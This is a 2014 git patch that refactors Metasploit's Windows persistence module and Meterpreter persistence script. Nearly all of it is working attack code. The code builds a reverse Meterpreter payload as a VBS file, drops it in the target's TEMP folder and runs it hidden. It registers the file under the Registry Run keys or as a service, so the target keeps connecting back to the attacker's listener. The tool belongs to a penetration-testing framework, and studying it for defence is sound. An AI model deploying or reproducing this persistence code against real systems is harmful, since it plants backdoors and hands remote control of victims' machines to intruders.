From 4fc4866fd88454a8dc0a2ccd7d053323545457c5 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 12 Dec 2014 16:22:51 -0600 Subject: [PATCH] Merge code in from #2395 --- modules/exploits/windows/local/persistence.rb | 103 ++++++++---------- scripts/meterpreter/persistence.rb | 52 +++++---- 2 files changed, 73 insertions(+), 82 deletions(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index f37e1ffc6e..1e948ac1f6 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -5,11 +5,16 @@ require 'msf/core' require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry @@ -19,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Local super( update_info( info, 'Name' => 'Windows Manage Persistent Payload Installer', 'Description' => %q{ - This Module will create a boot persistent reverse Meterpreter session by + This Module will create a boot persistent reverse Meterpreter session by installing on the target host the payload as a script that will be executed at user logon or system startup depending on privilege and selected startup method. @@ -44,7 +49,6 @@ class Metasploit3 < Msf::Exploit::Local OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), OptString.new('PATH',[false, 'Path to write payload']), ], self.class) - end # Exploit Method for when exploit command is issued @@ -59,49 +63,37 @@ class Metasploit3 < Msf::Exploit::Local exe = generate_payload_exe script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay}) - script_on_target = write_script_to_target(script,rexename) + script_on_target = write_script_to_target(script, rexename) - if script_on_target == nil - # exit the module because we failed to write the file on the target host. - return - end + # exit the module because we failed to write the file on the target host. + return unless script_on_target # Initial execution of script - if target_exec(script_on_target) == nil - # Exit if we where not able to run the payload. - return - end case datastore['STARTUP'] - when /USER/i - regwrite = write_to_reg("HKCU", script_on_target, reg_val) + when 'USER' # if we could not write the entry in the registy we exit the module. - if not regwrite - return - end - when /SYSTEM/i - regwrite = write_to_reg("HKLM", script_on_target, reg_val) + return unless write_to_reg("HKCU", script_on_target, reg_val) + when 'SYSTEM' # if we could not write the entry in the registy we exit the module. - if not regwrite - return - end + return unless write_to_reg("HKLM", script_on_target, reg_val) end clean_rc = log_file() - file_local_write(clean_rc,@clean_up_rc) + file_local_write(clean_rc, @clean_up_rc) print_status("Cleanup Meterpreter RC File: #{clean_rc}") report_note(:host => host, :type => "host.persistance.cleanup", :data => { - :local_id => session.sid, - :stype => session.type, - :desc => session.info, - :platform => session.platform, + :local_id => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, :via_payload => session.via_payload, :via_exploit => session.via_exploit, - :created_at => Time.now.utc, - :commands => @clean_up_rc + :created_at => Time.now.utc, + :commands => @clean_up_rc } ) end @@ -116,9 +108,11 @@ class Metasploit3 < Msf::Exploit::Local # Create a directory for the logs if log_path - logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + logs = ::File.join(log_path, 'logs', 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo) ) else - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + logs = ::File.join(Msf::Config.log_directory, 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo) ) end # Create the log directory @@ -129,10 +123,11 @@ class Metasploit3 < Msf::Exploit::Local return logfile end - # Writes script to target host - def write_script_to_target(vbs,name) + # Writes script to target host and returns the pathname of the target file or nil if the + # file could not be written. + def write_script_to_target(vbs, name) tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP') - if name == nil + unless name tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" else tempvbs = tempdir + "\\" + name + ".vbs" @@ -140,7 +135,8 @@ class Metasploit3 < Msf::Exploit::Local begin write_file(tempvbs, vbs) print_good("Persistent Script written to #{tempvbs}") - @clean_up_rc << "rm '#{tempvbs}'\n" + tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators. + @clean_up_rc << "rm #{tempvbs}\n" rescue print_error("Could not write the payload on the target hosts.") # return nil since we could not write the file on the target host. @@ -149,48 +145,39 @@ class Metasploit3 < Msf::Exploit::Local return tempvbs end - # Executes script on target and return the PID of the process + # Executes script on target and returns true if it was successfully started def target_exec(script_on_target) execsuccess = true print_status("Executing script #{script_on_target}") # error handling for process.execute() can throw a RequestError in send_request. begin - if datastore['EXE::Custom'].nil? + unless datastore['EXE::Custom'] session.shell_command_token(script_on_target) else session.shell_command_token("cscript \"#{script_on_target}\"") end rescue - print_error("Failed to execute payload on target host.") - execsuccess = nil + print_error("Failed to execute payload on target host.") + execsuccess = false end return execsuccess end # Installs payload in to the registry HKLM or HKCU - def write_to_reg(key,script_on_target, registry_value) - # Lets start to assume we had success. - write_success = true - if registry_value.nil? - nam = Rex::Text.rand_text_alpha(rand(8)+8) + def write_to_reg(key, script_on_target, registry_value) + nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8) + key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + + print_status("Installing into autorun as #{key_path}\\#{nam}") + + if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ") + print_good("Installed into autorun as #{key_path}\\#{nam}") + return true else - nam = registry_value + print_error("Failed to make entry in the registry for persistence.") end - print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - - if(key) - set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") - if set_return - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - else - print_error("Failed to make entry in the registry for persistence.") - write_success = false - end - else - print_error("Error: failed to open the registry key for writing") - write_success = false - end + false end end diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index a69fb3f13a..33c2ba1021 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -1,15 +1,13 @@ +# Author: Carlos Perez at carlos_perez[at]darkoperator.com +#------------------------------------------------------------------------------- +################## Variable Declarations ################## + ## # WARNING: Metasploit no longer maintains or accepts meterpreter scripts. # If you'd like to imporve this script, please try to port it as a post # module instead. Thank you. ## - - -# Author: Carlos Perez at carlos_perez[at]darkoperator.com -#------------------------------------------------------------------------------- -################## Variable Declarations ################## - # Meterpreter Session @client = client @@ -32,13 +30,13 @@ script_on_target = nil @exec_opts = Rex::Parser::Arguments.new( "-h" => [ false, "This help menu"], "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"], + "-p" => [ true, "The port on which the system running Metasploit is listening"], "-i" => [ true, "The interval in seconds between each connection attempt"], "-X" => [ false, "Automatically start the agent when the system boots"], "-U" => [ false, "Automatically start the agent when the User logs on"], "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"], - "-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."], + "-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."], "-T" => [ true, "Alternate executable template to use"], "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] ) @@ -76,9 +74,11 @@ end #------------------------------------------------------------------------------- def create_script(delay,altexe,raw) if altexe - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe}) + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, + {:persist => true, :delay => delay, :template => altexe}) else - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay}) + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, + {:persist => true, :delay => delay}) end print_status("Persistent agent script is #{vbs.length} bytes long") return vbs @@ -95,9 +95,11 @@ def log_file(log_path = nil) # Create a directory for the logs if log_path - logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + logs = ::File.join(log_path, 'logs', 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo) ) else - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + logs = ::File.join(Msf::Config.log_directory, 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo) ) end # Create the log directory @@ -114,13 +116,14 @@ def write_script_to_target(target_dir,vbs) if target_dir tempdir = target_dir else - tempdir = @client.sys.config.getenv('TEMP') + tempdir = @client.fs.file.expand_path("%TEMP%") end tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" fd = @client.fs.file.new(tempvbs, "wb") fd.write(vbs) fd.close print_good("Persistent Script written to #{tempvbs}") + tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators. file_local_write(@clean_up_rc, "rm #{tempvbs}\n") return tempvbs end @@ -150,23 +153,24 @@ def targets_exec(script_on_target) print_status("Executing script #{script_on_target}") proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) print_good("Agent executed with PID #{proc.pid}") - file_local_write(@clean_up_rc, "kill #{proc.pid}\n") return proc.pid end -# Function to insytall payload in to the registry HKLM or HKCU +# Function to install payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key,script_on_target) nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - if(key) - registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - file_local_write(@clean_up_rc, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n") + key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + print_status("Installing into autorun as #{key_path}\\#{nam}") + if key + registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ") + print_good("Installed into autorun as #{key_path}\\#{nam}") + file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n") else print_error("Error: failed to open the registry key for writing") end end + # Function to install payload as a service #------------------------------------------------------------------------------- def install_as_service(script_on_target) @@ -219,13 +223,13 @@ print_status("Running Persistance Script") @clean_up_rc = log_file() print_status("Resource file for cleanup created at #{@clean_up_rc}") # Create and Upload Payload -raw = create_payload(payload_type,rhost,rport) -script = create_script(delay,altexe,raw) -script_on_target = write_script_to_target(target_dir,script) +raw = create_payload(payload_type, rhost, rport) +script = create_script(delay, altexe, raw) +script_on_target = write_script_to_target(target_dir, script) # Start Multi/Handler if autoconn - set_handler(payload_type,rhost,rport) + set_handler(payload_type, rhost, rport) end # Execute on target host